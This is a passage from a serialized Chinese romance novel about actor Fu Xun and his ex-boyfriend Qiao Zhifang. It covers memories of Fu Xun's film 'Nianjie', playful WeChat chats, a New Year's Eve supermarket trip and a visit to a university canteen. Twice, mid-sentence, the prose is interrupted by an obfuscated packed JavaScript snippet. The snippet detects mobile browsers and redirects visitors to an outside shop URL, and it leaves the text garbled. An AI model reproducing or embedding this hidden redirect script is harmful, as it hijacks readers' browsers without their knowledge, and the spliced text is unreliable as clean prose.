乔知方说:都写了傻子,傻子的悲剧是很纯粹的,他们并不理解时间,他们的现在就是将来,过去就是现在。《喧哗与骚动》里的班吉是个傻子,所以他的爱最纯真,永远纯真,但是最后,他被阉割了。《年节》写两个家族之间的斗争,用傻子的视角来凝视所有已死者和生者,最后又以一个傻子的死亡结尾,用献祭天真表现了残酷。写傻子是很好的。 好。 那个时候,傅旬被经纪人和乔知方忽悠着签了合同,拍了自己的第一部实验性电影—— 电影主要在安徽的呈坎取景,借可以同时居住四代人的呈坎下屋,来突出家族的封闭感。下屋五幢木楼连体,共有三进三楼,一走进去,压抑得厉害。 导演想要像费里尼表现罗马那样,在意识的流动里表现南方的家族。傅旬饰演的翰如,是傻子弟弟眼里离开了家就没有再回来的长兄,家里只有他剪了头发,他真心关爱自己,但有着自己无法理解的忧郁。傻子是不理解何谓“死亡”的—— 出生在衰落的家族里,祖父做主卖地供长孙翰如出国留学,希望翰如留学归来,能投身清政府的中兴事业,位至高官、光宗耀祖,将来为镇上添一个四品大员的功德牌坊,狠狠压倒另一个家族。 欧风美雨、清末年代,本就夹杂在新旧之间,在家族的重压之下,最终,翰如在一个除夕夜选择了自杀。 二十岁出头的傅旬过于年轻,缺乏对历史和苦难的想象,不能理解和诠释很多情绪。饰演祖父、父母的演员,都是演技精湛的年长演员,而导演又过于严苛,傅旬顶着压力拍得很艰难,每天在片场被导演折磨。 被导演骂狠了,他的经纪人和助理去劝导演,乔知方走过来安慰他。他把脸埋在乔知方的颈侧,沉默地把眼里的泪流了出来。 导演骂他,骂得他开始不太自信了。他开始怀疑观众是不是也会质疑他的能力——对演员而言,或许在上一部作品里,自己的演技还饱受赞誉,但在下一部作品,就被骂出了花样,丑图满天飞,从此在很长一段时间里无法翻身。 乔知方和他说:傅旬最好,特别好。 傅旬最好? 傅旬的脾气不算好,但乔知方一直陪着他,他愿意按下性子来,一遍一遍去请教导演、请教其他演员。收工之后,乔知方陪他一起仔细抠角色的细节。 导演后来剪出来了《年节》成片,主创团队的努力没有白费——观众不太能接受这部电影,但影评人接受,要把电影当作艺术来对待,不要在票房中迷失。《年节》在优秀作品扎堆的电影大年里,拿到了台湾电影金马奖最佳摄影奖和一系列提名,傅旬凭翰如的角色,拿到了最佳男配角提名。 傅旬第一次看完《年节》的成片,感觉翰如这个角色的某些情绪,被揉碎后留在了他的身体里。他承认自己吃的苦也算值得,导演是出色的导演。 除了对角色的共鸣和对导演心有余悸,他又想起来乔知方,乔知方肌肤的温度、被他抓红的手腕,T恤下隐隐显出的腰的轮廓,脖子上蹭到的他的眼泪……徽派建筑里木头的霉味。 《年节》让傅旬吃了很多苦,但导演借镜头留住了他二十一岁那年最好看的样子。导演选傅旬,是因为觉得他的脸是一张很容易拍出来故事感的脸:他的长相和他的气质并不相符,这种矛盾会让人觉得他难以捉摸,给他带来了很强的可塑性。 傅旬的脸型很流畅,他的脸有着很高的面部平整度,眼睛精致,鼻子秀气挺拔,但他的眉骨高,眼头、嘴角也都是尖锐的锐角,没有钝感,都显得很冷。 他眼神和气质里也都没有讨好感,和五官里的冷意一起,中和了他长相上的精致,使得他绝不显得阴柔,可以锋利,也可以演出神经质。 在十几层打光之下,傅旬顶着压力拍了整整三个小时,演到眼睛开始抽搐,终于演出了导演想要的一个镜头。导演说他的眼神必须实而不实,他要给出一个怜悯的眼神,让人觉得难过,然而又隐含着不服气。 傅旬不知道怎么表现又怜悯又不服气。 导演说你知晓这是一个无望的家族,正如这是一个无望的末代王朝,你要选择死,因为你是家族里唯一一个看穿了一场大梦的证人,外国的冲击太大,民国尚未到来,希望还不曾有—— 你觉得你的家人很可恨,同时又很可笑、很可怜。他们要你忠的君是什么君、要你爱的国又到底是谁的国?他们知不知道国在末路?国要亡了,而且是亡国灭种,然而像你的家族这样的国之末端,还活在陈腐的梦里,困于互相争斗、困于自我折磨,不肯睁眼看外面一眼。 这个家从上到下,这个国从里到外,都没办法要了。死有时候恰恰是最需要勇气的,你决定死,因为除非死,你无法逃脱一个属于清朝的“家族”。 下一秒,弟弟的意识流衔接,一尊瓷像“啪”一声被摔碎了。 粉丝给傅旬饰演过的角色做剪辑,评论翰如“小翰的一生是一场漫长又潮湿的雨季,他的一生都在失去……”,说什么“枪杀玫瑰,低吻头颅”,傅旬同情翰如,但是看完了只觉得头皮发麻。 在和乔知方分手之后,傅旬很想念乔知方,乔知方说话总是很干脆。乔知方让他觉得安全,因为他知道乔知方爱他,并不带有角色的滤镜——乔知方纯粹爱的是傅旬这个人,而不是傅旬和角色的混合体。 五年过去了,傅旬觉得乔知方的变化不太大。不,不对,应该说,乔知方更吸引他了,乔知方看起来更稳重了,肤浅地说,看起来更帅了。傅旬不知道现在的乔知方会怎么样概述剧本。 除夕夜……乔知方后来有没有看过《年节》,乔知方看《年节》的时候会想起来什么?他想和乔知方□□,但是他也很想和乔知方一起看书、看电影—— 在他和乔知方的感情里,与情欲相比,后者或许是更为重要的。 傅旬给乔知方发消息,问他春节之后要不要一起去电影资料馆。他知道乔知方现在的意思,乔知方没有力气来谈一场恋爱。 乔知方比谁都清楚,傅旬是一个需要从恋人不断地回应自己这件事里,来获得安全感的人,但他现在不太想说话,不是针对傅旬,而是因为疲惫。 对傅旬来说,乔知方给不给他准确的答复,无关紧要。傅旬从来不打算和乔知方做大兄弟,他会主动和乔知方保持一种相对暧昧的关系。 乔知方尊重傅旬的演员事业,傅旬也尊重乔知方的选择。乔知方在很早的时候,就用分手教给了傅旬,要去选更长的人生,而不是一时的欲望。傅旬现在觉得,但是,乔知方,我们两个之间不是一时的欲望,所以如果时间足够长,我们就会再重新走在一条路上,你信不信? 去不去电影资料馆?乔知方回复说播塔可夫斯基的电影,不去。 隔了好多年了,原来乔知方还是不看塔可夫斯基的电影。 傅旬继续发消息问乔知方,2月14号自己有商务直播,乔知方看不看。乔知方回复说:我不买香水。 fx.:有妆造,我是好看的呀 小智:那我看照片不就行了 fx.:乔知方你好直男啊[微笑] 小智:我是直男 傅旬刚打算继续回消息,看到乔知方又发过来了一条消息—— 小智:我和你睡觉 “我是直男,我和你睡觉”,傅旬本来以为乔知方想说自己是个绝望的直男,没想到乔知方在表示自己不是直男,他简直想象不出来乔知方打字时候的表情,笑得捂住了脸。他继续给乔知方发消息。 fx.:可是很久没有一起睡了啊[可怜] 小智:各自有家,各自有床 小智:[小猫比心].jpg fx.:2.14我给你发我的照片好不好 fx.:[小猫比心].jpg 小智:有关注你的微博,不用私发了,谢谢 fx.:哥,你怎么老拒绝我 fx.:晚上一起吃饭吗,要过年了,你自己在家,我也自己在家,一起吃年夜饭嘛 小智:外面人多,不想出去 fx.:来我家做 fx.:我们现在去超市 小智:去你家,谁做饭? fx.:我只会吃 小智:[妙哉妙哉].jpg 乔知方发过来一个古风小生表情包,表情包上写着“妙哉妙哉”,傅旬看到又笑了起来。他之前叫乔知方来自己家给自己做饭,乔知方给他发过一张《天上掉下个猪八戒》第一集的片名截图:投胎错为猪。 fx.:我可以刷锅刷碗[举手] 小智:你不可以,你只会把东西放进洗碗机。 fx.:[撅嘴小狗].jpg 微信对话框里出现了一条消息,乔知方拍了拍傅旬—— 小智拍了拍你,往你的钱包里放了五个亿 小智:下过雪,不想出去。想吃什么,点盒马送过来吧。太难的不会做。 fx.:你来我家 fx.:来吗来吗? fx.:八万想爸爸了[猫] fx.:IMG_476830960.jpg 小智:本人没有孩子,爸爸是你。【引用“fx.:八万想爸爸了!”】 fx.:好的,八万想妈妈了[猫] 小智:好瘦啊【引用“fx.:IMG_476830960.jpg”】 fx.:今天称体重,比前天重了一点点 fx.:小猫有猫罐头 fx.:我想吃烧椒鲈鱼,炒芦蒿或者什锦菜,馄饨。妈妈吃什么? 小智:。。。。。。 小智:八万是猫,它妈妈也是猫 小智:[诧异脸哆啦A梦].jpg 小智:芦蒿超市不一定有,你家里有猪油吗? fx.:没有 小智:紫菜和虾皮有吗? fx.:都没有 小智:你换衣服,那还是去一趟超市算了 fx.:一起去? fx.:哥,你吃什么? 小智:烧椒鲈鱼,什锦菜,馄饨 fx.:狂奔小狗.gif fx.:等我一小会,我去你家楼下找你 fx.:晚上来我家看电影跨年吧,乔知方,我家有酒 小智:谢邀,不喝 傅旬看着“不喝”两个字,觉得不一定不喝,反正他会把酒拿出来的。他锁了手机,揉了揉在毯子上睡觉的八万,和八万说:“爸爸去接妈妈,妈妈等一下要来咯。”立刻去换衣服整理头发了。 傅旬喜欢在半夜出门,平时很少去超市—— 通常情况下,等他出门的时候,超市早就关门了。 他去找乔知方的时候,感觉小区里几乎没多少人了,他觉得超市里的人应该也不多,好久没去过超市了。乔知方穿了一件米白色的短款羽绒服,里面是一件橄榄绿色的羊毛衫,戴着口罩在雪地里站着,看着又帅又干净。 眉眼真好看。 乔知方是个情绪相当稳定的人,傅旬觉得人的气质是会反应在外貌上的,比如,乔知方明明就是一个硬帅的帅哥,但是不会让人觉得有攻击性。 反正傅旬本人不怎么怕乔知方,乔知方……乔知方就算瞪他,他也觉得一点都不吓人。乔知方有一点近视,瞪人的时候,眼神很难显得冰冷或者凶狠。 傅旬不理解自己的嬷嬷粉,难以理解,为什么有人要这样对一个男的。但是对着乔知方,他突然就开始理解嬷一个人的乐趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876647|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,他很缺德地想起来粉丝评论,但是把主语换成了乔知方—— 乔老师,你好像一块香香软软的奶油小蛋糕~ 傅旬在心里笑了半天,逗乔知方是一件很有意思的事情,对着乔知方胡说八道把乔知方惹出来反应,更是特别特别有意思。 “乔知方,”他朝乔知方招招手,问:“咱们走过去?” 乔知方看他的表情这么开心,眯了一下眼,有点不解,回答说:“走过去吧,开车太麻烦了。” “一会儿回我家?” “傅少要是肯进我家的家门,回我家也行啊。” 傅少,什么鬼称呼啊,傅旬被乔知方逗得直笑。他觉得人会喜欢乔知方,是一件再正常不过的事情了—— 有一个帅哥,脾气好,学历高,有修养,有内涵,听你说话的时候很认真,还愿意哄着你,你怎么可能不喜欢他呢。 乔知方和傅旬一起往小区外面走,和傅旬说:“你在家不开火,你家里的东西太少了。” 傅旬说:“我开呀。” “你开火?” “对啊,煮玉米,蒸胡萝卜……之类的。” 乔知方无奈地看了傅旬一眼,说:“行。” 傅旬拍了拍他的胳膊,说:“哥、哥,过一阵我有商务直播,你记得看。” “不看,我忙。” “忙什么呀,论文?” “写简历呀,开学了我就得投简历了。” “你不想见我了。” “呃,但我看你直播,你也看不见我。我就不看了。” “诶,那你和我一起过去?去现场。” “没有看别人工作的爱好。” “我又不是‘别人’!” “咱俩好像也不是很熟吧。” “你和我不熟,你去我家做饭?” “临近年关送爱心。” “那你晚上在我家吗?”傅旬说:“看电影,行不行?八万想你了。” “你家猫和我不熟,我也和它不熟。” “多来几趟就熟了。” 乔知方突然说:“我肋骨断了。” “嗯?”傅旬愣了一下。 “我肋骨真断了,滑雪摔了,所以这几天我自己在家歇着呢。反正我做自己的饭是做,做咱们两个的也是做,那就一起吃饭吧,看电影就不了。我吃完就回去了。” “你怎么不早点告诉我,”傅旬心里一紧,小声问:“疼吗?” “还行。” “断了一根?” “两根。”乔知方指了指肋骨位置。 傅旬说:“哥,你在我家住也行,我能照顾你。” “不知道谁照顾谁。” “嘶——”傅旬说:“乔知方,你不信我是吧!” 乔知方笑了笑,说:“开个玩笑。” “在我家住吧,我也……我不乱来。” “乱来?”乔知方挑了一下眉,问:“你想干嘛?” “能干什么呀,你肋骨都断了。要不我晚上做饭吧。” “嗯……你敢做我不敢吃。” “能做!”傅旬说:“我真的能做,煮个泡面什么的,我会。”说着说着开始心虚。 乔知方听完直笑,“咱俩,年夜饭,吃泡面?” “吃视频拌饭,我们可以看点好看的电影。” “谢谢你啊。”乔知方笑着说,“我同学说一起喝酒,我说下酒菜是什么,他掏出来一本《楚辞》。改天我介绍你们认识认识。” 下雪不冷融雪冷,但是傅旬喜欢和乔知方闲聊着一起走路,一点也不觉得冷。他们两个说着话,走到了商场,一进去就听见了过年期间限定的喜庆音乐,好运来那个好运来,两个人一起往地下的超市走,走着走着,互相看了对方一眼,感觉不太对劲—— 没有人和他们两个人说过,过年前后,超市里会人挤人挤人。 大街上的人是不多,但是超市里全都是人。 乔知方拽了傅旬一把,两个人飞速离开了超市,还是回去点盒马生鲜好了。 乔知方说:“不好意思,我也不知道过年超市是这样的,我只知道饭店人多。” “挺好的,”傅旬说:“出来走走,感觉……一下子年轻了好多岁,好多年没和你一起去超市了。”他拉乔知方一把,“回去之后,还是去我家吧。哥,我本来以为这次我得自己过春节了呢,晚上你在我家跨完年再走吧。那么大的房子,就我一个人,和八万一个小猫。” 乔知方说:“可是那不是你自己选的大平层吗?” 傅旬本来想装可怜,没想到正煽情呢,突然被反矫达人乔知方给了一锤子,他被气笑了,喊了一句“乔知方”。 他拉起来乔知方的一只手,使了一点劲拍下去,打了乔知方一下。 乔知方没有反抗,说:“扯平了啊。” 傅旬抓着乔知方不撒手,说:“没扯平,谁让你惹我。去我家,去吧去吧。” 乔知方被傅旬折腾得没招了,说:“行,去。” “在我家跨年?” “行。” “看什么电影?” “你挑吧,我都行。” “《年节》。” “嗯……” “不行?” “过年想看点热闹的。” “不看《年节》?乔知方,你不想看我,是不是,是我不帅了吗?” “不是,怎么会呢,”乔知方看了傅旬一眼,说:“是想和你在新的一年的开始,都高高兴兴的。” 傅旬本来只是想抓着乔知方闲聊,让乔知方一直搭理自己,没想到乔知方会这样说。他一下子不知道该怎么说话了,他忽然觉得自己的肋骨像是也断了,自己被人戳中了软肋。 他想和乔知方一起过年,但乔知方想的是,新的开头到了,希望他能高高兴兴的。 唉,傅旬忽然又开始想,如果当初没有分手就好了。 13.第13章 最后假期 盒马卡在了路上,送了一个小时还没送到。乔知方在傅旬家里玩了半天小猫——傅旬买了一个冻干投喂机,小猫拍一下按钮,冻干就会飞出来,傅旬往玩具里放冻干,乔知方教八万拍按钮。 傅旬放了最后一粒三文鱼冻干,不想再和八万玩了,拿出来手机看了看时间,问乔知方要不他们还是出去吃吧。 乔知方问:“去哪儿?” 傅旬递给乔知方一片湿巾,让他擦手,说:“去你们学校?” 乔知方以为自己听错了,问:“我们学校?” “嗯,你们学校有饭,还有校友赞助的干炸排骨和饮料。” 乔知方擦干净了手,“我怎么不知道。” “有,小红书给我推的。” “是吗,”乔知方问傅旬:“你是不是会搜我们学校啊,小红书给你推这个,都不给我推。” 傅旬特别诚实地回答:“对啊,你在那儿上学,我当然就经常搜啊。” “……” “咱们两个去你学校吃吧,然后回来了,你来我家玩。我感觉去学校挺安全的,人应该也不是很多。” “嗯……” “不行?” “留校的同学,应该不少吧?食堂肯定有不少人。我都行,但……你确定要过去?” “我戴口罩,认不出我来,我们买回来吃,我看你们学校的饭还挺好的。” “那我给你预约入校?” “行。” 去学校吃饭,也不是不行。乔知方又问了傅旬一遍:“你真去?” “对啊,我想体验一下学校生活,”傅旬做出一副无辜的表情看着乔知方,“行不行嘛?” 说着他又接了一句:“我都好多年没去你们学校了。” 乔知方小声说:“那你本来也不是我们学校的学生啊。” 以前傅旬总往文理大学跑,愚人节站姐团建的时候,别的站姐都在发正主绯闻对象或者好朋友的照片,但是傅旬的一个站姐发了一张文理大学的正门照。旬丝一直好奇,文理大学到底有谁在啊——扒了多少年没有扒出来嫂子,总不能是傅旬的梦校其实是文大吧。 傅旬说:“那……不是学生也能去呀,谁说不是学生,就不能进去了!” “行、行,能去。”乔知方打开学校小程序,问傅旬要身份证号,给他申请入校。本校生只要申请了亲友入校,系统会自动审批通过,到时候傅旬拿着身份证在门口闸机上刷一下就能进去了。 “别装了,”傅旬拍了拍乔知方,问:“你背不过我身份证号?” “你说一遍,我确认。” 傅旬开始报数字,结果乔知方发现傅旬背了一遍他的身份证号,“嘶,”乔知方被气得直笑,说:“干嘛呀,你说你的身份证号!” 傅旬这才背了一遍自己的身份证号。 乔知方问他:“去我们学校买了,回来吃?” “嗯。”傅旬点了点头。 “那你换衣服,我回家去拿校园卡。” 傅旬问:“换衣服?我现在穿上外套就可以出去呀,我穿的又不是睡衣。” “呃……”乔知方看了看傅旬,“太帅了哥,你穿刚才那身去学校,太惹眼了。” 乔知方那会儿和傅旬出门,傅旬全身上上下下加起来快有十万块了,YSL的白色高领羊绒衫、TF的皮夹克……只有牛仔裤最便宜,Acne Studio的,只要六七千。 傅旬本来就长得高,穿成这样在人群里走,鹤立鸡群,太扎眼了。 傅旬故意用天真的语气问乔知方:“不能帅吗?傅旬的美貌,知方的骄傲~”他把“骄傲”的语调念得特别欠打。 乔知方捂住了自己的脸,无力地笑了笑,唉,说不过傅旬。傅旬的身上有时候会突然冒出来一股蹬鼻子上脸、非得惹一惹乔知方的邪恶感。 他说:“能,特别帅,简直是模特。我们傅老师,人帅心美,哇,我特别欣赏你的内在美,所以,请你换一身衣服。你要是不想被围观的话,就穿朴素点吧,我们学生不穿成这样。” “你是夸我星味十足。” “对,啊对,对、对。换了吧。” “那我穿羽绒服?” “嗯,换运动鞋。” “就换个鞋的事,那一起下楼吧。”傅旬单手把项链摘了,说:“勾引你半天,你也不看,就让我换掉。” 乔知方说:“看了,不看怎么知道你帅得太超过了。” 傅旬被乔知方哄高兴了,侧过头直笑,戴上口罩之后拿上了羽绒服,和乔知方一起走了出去。八万看见要关门,在门后喵了两声,有点舍不得让人离开。 傅旬说:“爸爸妈妈一会儿回来看你。”说完才关上了防盗门。 乔知方听着傅旬胡说八道,轻轻吸了一口气,然后叹了一声。哪有妈妈,有时候他是真的想给傅旬一巴掌,但是又懒得动手。 他提醒傅旬说:“外面冷。” 傅旬这才穿上了羽绒服。 傅旬是个戴口罩都要戴黑口罩的人,他不太爱穿羽绒服,嫌羽绒服不好看。在柏林出现的时候,他穿了羽绒服,其实是为了对着乔知方装清纯男大学生好弟弟。 乔知方回家拿了校园卡,顺便给师妹发了消息。乔知方的师妹是武汉人,和爸爸的关系不好,上大学之后就爱上了不用回家的感觉,寒假也很少回去。乔知方给师妹发消息,问她寒假里哪个食堂开着。 师妹回复他说西区食堂有饭,给他发了菜单。学校的后勤部发春节福利,西区食堂请了原钓鱼台行政副总厨来做客厨,教职工活动中心能包饺子,饺子免费吃。 士多啤梨:师兄,你要来学校吗? 小智:对,和朋友过去 士多啤梨:哈哈怎么来学校吃饭,过年不和伯伯阿姨一起吃? 小智:我爸我妈出去旅游了,我有没去 士多啤梨:师兄来吧,一起吃!我和师妹一会儿也去食堂 士多啤梨:和嘉音,我们买了蛋糕 士多啤梨:[线条小狗捧蛋糕].gif 小智:嘉音也在? 小智:不用不用,谢谢,祝你们吃得开心 乔知方回完了消息,拿了两个头盔,打算骑电动车带傅旬一起去学校。不知道傅旬愿不愿意戴头盔,不愿意的话,那就把头盔挂到电动车上,一起走过去算了。 傅旬看见乔知方下了楼,手里拿着头盔,问他:“是……骑电动车去?” “你不想戴头盔,那就走过去。头盔压头发,别把你发型搞乱了。” 傅旬说:“骑电车去吧,我不想走路了。又没做妆造,压一下头发就压一下。” “那我带你?” “嗯,行。”傅旬很自然地接过来头盔戴上,乔知方去开了电动车。北京总是堵车,地铁里一直有人,电动车是一种伟大的发明。 傅旬坐到后面,搂住乔知方的腰,把手插进了他的羽绒服兜里。 傅旬的动作很熟练,乔知方忽然想起来,其实以前他也骑电动车载着傅旬出去过。 有一年秋天,他们两个人大晚上去了奥森公园,十点多回来的时候,忘了路过了哪里的广场,广场上有老大爷在花坛边唱卡拉OK,看见乔知方停车和傅旬听自己唱,乐呵呵招手让他们加入。 乔知方不想当着人唱歌,一拧电动车车把,就带着傅旬跑了。傅旬在他背后笑着问:“嗯?你怎么跑了!”然后给他唱了一路《当那一天来临》。 这是一个晴朗的早晨,鸽哨声伴随着起床号音—— 这是军训标兵傅旬在军训的时候学的歌。傅旬军训的时候,乔知方已经听他唱了无数遍了。 事情真的已经过去好多年了。 乔知方带着傅旬去了自己的学校,进学校就停了电动车,和傅旬往西区食堂走。西区食堂建在生活区,附近有好几栋学生公寓。 寒假期间,教学楼封楼,学校里只开了学生公寓附近的公共楼。乔知方和傅旬穿过教学区往前走,路上几乎没有学生。 文理大学里种了不少杨树,冬天叶子掉光,只剩下了高大的枯枝。北师大的学生总说自己的学校乌鸦多,其实文理大学的乌鸦也不少,在树枝上站着。 傅旬瞥见草坪上白茫茫的,和傅旬说:“你们学校的雪好厚啊。” 乔知方说:“不是雪吧。”他朝草坪仔细看了一下,解释道:“我们学校冬天会封草坪,铺了一层白色无纺布。” 傅旬问:“我们去西区食堂?” “嗯。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884581|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我没去过呢。” “我也不怎么去,顺着路一直往前走就行。”乔知方不住校,很少去生活区的食堂吃饭。 傅旬问:“我之前和你去的,是东区食堂?” “嗯,对,一进门那个食堂,刚才路过了。” “我记得东区二楼的烧腊挺好吃的。” “不卖了。” “离我上次进这里,都好多年了,是吧。” “这么一想,是挺多年了。” “那你,现在是怎么看我的。” 乔知方看了傅旬一眼,说:“嗯……你特别好,特别好。” “那你呢?” “我啊,”乔知方说,“我是渣男,我在和你玩暧昧。” 傅旬听完笑了起来,因为戴着口罩,只显出来了弯起来的眼睛,他带着点无奈和宠溺摇摇头,说:“你还承认呀,乔知方,我以为你死不承认呢。” “认。” “认输还是认错?” 乔知方奇道:“认错……我错哪里了?” “你都知道自己是渣男了,你还钓着我,你养鱼呢?” “谁家养鱼,就养一条啊。” “我们两个复合吧,复合吧~乔知方。” “没有精力。你现在歇着呢,我也歇着呢,我们两个都没事,所以也不会吵架。你信不信,如果咱们两个的关系超越现在一点,尤其是有一方忙起来,你就得和我吵起来。但我又没有那个精力,你到时候就说我冷暴力你,我怕了你了。” “……” “你就说是不是吧。”乔知方很熟悉傅旬,他以前和傅旬不是不吵架的情侣。傅旬抓着他吵架,得理不饶人,没理也不饶人,能把他气死。 “不是。”傅旬小声说。他嘴硬,死不承认,说:“我现在变成熟了好吗,我不那样了……” “为了让我顺利毕业,你就让我养养鱼吧。” 傅旬带着一点抱怨说:“你就不怕我不喜欢你了啊?”傅旬的表情总是很灵动,他皱眉的时候,乔知方甚至能想象他在口罩底下也轻轻皱了一下鼻子。 乔知方轻轻拍了拍傅旬,“不喜欢,你就不去柏林了。” 傅旬听完抬了一下眉,他发现其实乔知方很能拿捏住他。 不喜欢了,傅旬就不会跑去柏林了。 乔知方知道,如果明星有了对象,粉丝总是会知道,大粉帮着捂的帮着捂,不想帮的黑头像。傅旬好像真的没有再谈过恋爱,和其他人的粉丝相比,他的粉丝在他的恋情绯闻上,总是很平静。 傅旬前一段时间刚上过恋情绯闻的负面热搜,他在昨天发的微博评论区回复:“没恋爱,没对象。”这既是在发给乔知方看,也是在辟谣自己的恋情。 和明星恋爱,并不是容易的事情。不出意外的话,这是乔知方最后一个用学生身份度过的假期,一旦开学,乔知方就没有大段大段可以陪伴傅旬的时间了——而傅旬因为演员工作的原因,是不可能来随时迁就他的爱人的。 没自信的人、缺乏安全的人,都不太应该和明星谈恋爱。 粉丝的辱骂、大段大段不能见面的时间、生活节奏的差异、让渡隐私甚至被侵犯隐私、普通人和公众人物在话语权上的差距……乔知方都不用细想,只粗粗一数,就能列出来十几条会出现在他和傅旬的感情里的,很负面的东西。 过了五年了,乔知方想,傅旬可能不会像以前一样和他闹别扭了,但是他变得疲惫了,他没有了五年之前那样的心力。 或许等他毕业了,切实拿到了他的学历证、学位证,他会又找回力气,他就可以告别这种近乎透支的状态,重新跳入自己的生活里。 他侧过头去看傅旬。 傅旬。 他该怎么说呢,其实他从来都希望,傅旬能在他的生活里。他有多了解“爱”这个词?他从傅旬的身上实践这个词,也从他的身上获得这个词。 傅旬回看他,问他:“怎么突然看我啦?” 乔知方突然很想这样叫傅旬,于是微微歪头,按照自己的心意叫了他一声:“傅阳阳。” 傅旬听完了乔知方的话,失神片刻,表情变了变。他眉眼之间的表情变化很细微,但是已经足以让乔知方察觉到,他的失落和委屈。 14.第14章 宠儿 傅旬很少参加综艺,很好地保持着演员的神秘感。他是个让人一眼看不透的人—— 乔知方的师妹在看到傅旬二月末在巴黎时装周的动态的时候,再次确认了这件事。 照片和视频里的傅旬,是受邀去卢浮宫参加Le Grand Diner du Louvre高级定制时装展的知名演员,高挑性感,璀璨夺目,穿着真空西装,戴着卡地亚猎豹系列高珠。 项链、戒指、胸针。 钻石闪得吓人。 流量、票房、金钱,名声、地位、欲望,名利场。保镖围护,闪光灯咔咔咔咔响个不停,傅旬在强烈的闪光下没有眨眼,粉丝在屏幕里尖叫。明星和普通人的距离,无比遥远。 巴黎下小雨,外国保镖给傅旬撑着伞,雨丝斜着擦过他的西装,镜头捕捉下所有细节。超季、首穿,高级定制,在闪光灯的照耀下,西装上的雨滴也像是钻石。 这是气场全开,举手投足魅力无限的明星傅旬。轻轻一挥手,就把人带入到一场盛大而耀眼的梦里。 但傅旬有很多面,有时候他会让人分不清,到底哪一面是真正的他。乔知方的师妹在除夕那天见到了傅旬—— 她到现在都不敢相信,她就这样见到了傅旬。认出来傅旬的时候,她甚至一下子脑子有点懵,像缺氧了一样。她惊觉原来傅旬和她生活在同一个时空里。 原来傅旬老往文理大学跑,不是段子,是真事。 那天她看见的傅旬,和两个星期之后在巴黎看秀的傅旬,给她的感觉完全不一样。 除夕那天上午,文理大学给每个学院留校的学生发了年货礼包。下午,学校开放了教职工活动处,各学院会包饺子的师生,都可以过去包饺子。乔知方的师妹留在学校,和同学、学妹去包了一会儿饺子,虽然她们都不太会包,但是人多热闹。 乔知方发消息说要来食堂吃饭,问师妹食堂的事情。 她回了师兄消息,又和同学包了一会儿饺子,打算去拿他们订的蛋糕了。五点多,天开始黑了,外卖员没看清地址,把蛋糕放在了东校门的外卖柜里,她有共享单车月卡,扫了一辆共享单车,骑车子去了东校门。 学校东边的路上基本上没有人了。 她拿了蛋糕往回走的时候,看见有两个男的正在一起走,走得不着急,像是在散步。两个人都长得很高,一个穿着白色的羽绒服,一个穿了黑羽绒服,穿黑羽绒服的更高一点。 不知道为什么,她看着背影,觉得这两个人应该都长得不差,至少两个人的气质看着都很出挑。 嗯,除了师兄,学校里真的有长得帅的男的吗?没见过。 她忍不住又看了两眼前面的人,怎么穿白羽绒服的……看着好像就是师兄呀? 她叫了一声:“师兄?” 果然是师兄,他们亲爱的乔知方师兄。师兄回过头,看见了她,有点意外,和她打了个招呼:“思晴。” 师兄的头发比旁边的人短,思晴不太了解男生的发型到底都叫什么,但感觉她师兄的发型,大概是叫“微分碎盖”?露出来额头,清爽利落。 师兄旁边穿黑羽绒服的人,气质和师兄不太一样,有股劲劲儿的感觉,莫名很吸引人。他戴着口罩,露出来的眼睛很漂亮,但他扫了自己一眼,那一眼的眼神有点冷,好像……不太友善? 可能是因为师兄是熟人吧,师兄眉眼锋利,帅得让人觉得有距离感,微信头像也很酷,是摩托车手马奎斯在MotoGP极限贴地过弯的照片,但是思晴从来没觉得师兄不友善。师兄旁边的人,气场和师兄完全不一样,让人觉得疏离生冷、不好接近。 可能他是师兄的朋友吧,不知道是哪个学院的,艺术学院的? 思晴对师兄说:“哇,师兄,你真的过来吃饭了。” “过来了,学校人少,”师兄笑了一下,问她:“呀,你真不回家啦?” “过完年回,我不想去见亲戚,问来问去很烦。我妈说家里做了腊肠,让我回去吃,我下周就回去啦。” 师兄点了点头,“那祝你除夕快乐、春节快乐,回家也快乐。”他说着说着把自己说笑了,好单调乏味但诚恳的祝福。 师兄旁边的人一直乖乖等着,没有说话。 思晴说:“师兄也是!我们买了蛋糕,打算去教职工活动处切,师兄你来吗,朋友也可以一起来。来许个愿?” “啊,对。我朋友,”师兄用手掌指了一下身边的人,“我不去了,我们两个去食堂。” “朋友?”师兄旁边的人突然出声问了一句。 师兄扭头看着他。 思晴有点怀疑师兄是不是和他的朋友吵架了,他们两个之间的氛围似乎有点……奇怪。 没想到她师兄旁边的人,突然对着她师兄叫了一声:“哥哥。” 师兄像是很意外,听完无奈得笑了一下,“你……” “怎么了,你不是吗?” “是—— ” 思晴看着他们两个的反应,感觉他们两个又不像是吵架了。他们两个刚才一起走的时候,显得很亲近,两个人离得那么那么近。 师兄朝思晴介绍了一下:“这是我弟,我带他吃个饭。” 思晴点了点头。 师兄旁边的人朝她点头示意,思晴又点了一下头。她忽然觉得,他长得有点像傅旬。 她是因为大前年上映的《宠儿》而开始关注傅旬的,这是倪珂导演拍的文艺片,她看了很多遍—— 